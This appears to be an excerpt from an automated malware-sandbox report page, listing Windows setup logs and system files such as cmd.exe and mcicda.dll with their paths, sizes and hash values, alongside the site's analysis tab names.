
Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 22KB
SHA256 e04a77eb71819fba279e5cdec92c8465fd8f46e8e88d1ac0732b01e03f8ff6ed
MD5 bffed41ccea66276cf53d7c89d308e53
SHA1 4c16d869ea6472b4fcac2c795149c91a4a143935
SHA512 55556b5519d95ca75e2c0a0b43828a2a192a3510a80a61beb5e6e2ad6b3784e5ac837e15490f5d77be71c5b32ad5140d944f1d40085c7e04fa36cb77124164e9
SSDEEP 192:53gbq3gbExc+xcF3gbY3gbq3gbESK3gbE8c3gbEcRPsNWHxZdV3gbEc4qJUWHYZu:53Iq3Iwc13IY3Iq3Im3IE3IRzb3IRau
TLSH
T195A2593871952EB75C5046A8DFE03CC26F80AB7A4116A037A4C5FDAFB275042E9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 98B
SHA256 6c4557d3262fa2cf982854c08bf3dd7e785bfe9cdb045c81bc5a91b1933e1aca
MD5 53d96eb11481ba97265691f310864b95
SHA1 076e1d10a554993274090ebed5461d7cee7f97c3
SHA512 b96701a9c3658c9c48eaa6de30659119c0fba42708d50e052c35b8b0a7a724e5ab7519c96e951d7ba6fcdb8c075b131270e701040d674851655c68c65e794e74
TLSH
T17AB01211013A0D29150025C0820049644C0255578B040A00345F0810974222809DCF48
MD5 SHA1 SHA512 TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 288B
SHA256 497e11d556f021886eb1755b61da873f0e148b32f76f0baf3eeff6057fb10e52
MD5 33170d1fbad81ef69cfd869c44b17d5c
SHA1 932c8acc76bd3aadb0bdb3d6006c15c72aec9dde
SHA512 8a9d8ec23e2e4bd90147fc9dc43453f195cf6783fee56b0e151fd436c65f1b7b76f9af36720aaa6cb893c1901bf8f5121b071cd97ad3364d2896dcb14ef017d0
TLSH
T1DFD05E22013B0E6A9A002AC0C7108EAC6C436AA74B082B0035AF0810EB4233C49E8F4D
MD5 SHA1 SHA512 TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 383B
SHA256 12a236ede6c17f457c1c73d5e8b96d5fcf8349175c56cbd4f157a19df96c2632
MD5 bccb6c590103d4b98f1ba460c58195a5
SHA1 8541eac7e1f1423053b57c26c9b213ce5d849308
SHA512 3e637835e75442728a3c326d3880049e30b735150a7603c5ab2741b2424ba32a7d5d614a167a495f09eebe4d835c99b9fb962c6fa7cbb4a8680047587eb8115f
TLSH
T14BE08C22013F0E7A9A002AC0C7218EAC6C536AA74B0C2B0035BF0811FF4233C99E8F4D
MD5 SHA1 SHA512 TLSH

Submit Download

cmd.exe

Path C:\Windows\System32\cmd.exe
Size 324KB
SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
MD5 c5db7b712f280c3ae4f731ad7d5ea171
SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89
SSDEEP 6144:wh6/6DOyYSltqYDQjHpUWIcz5ROTOhM111uq9iRUaaUga4m1:p/6yL4qfjHpUBKfAO61Tb494
TLSH
T1EC64495E639828E5E927913DC903C121D6B23C35632192EF12D0CD7B7F63AE97A39B05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mcicda.dll

Path C:\Windows\System32\mcicda.dll
Size 68KB
SHA256 b1a5c0d0db9d8c18f45e8f9f1979ac099e519132cdb619aea40160edf204eb7a
MD5 4067ff79cb0657b2272992370860811c
SHA1 c8f7014b34609b928b8f6c0654c91b7531ffefd3
SHA512 263093eb9d4c3e006a41ad76b7dd2dedd44b261f0a8cd5655191f6338d89e229e2885caa8fa8e45532e420f99453ff091b472d7c570afafb52dec2866aa577e3
SSDEEP 768:Hv66W+8JKIuSanWlUBpGAbiogrfKpDohY2jeYhSzsFvLyepSE0OGMhJRGFN:GRngcUB9gbKpLtuyeH0OGiJRGT
TLSH
T14D63085EB37820B9E59B427CD5A65216D27278750B2093EF02F0C2395F16FE09B39F52
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads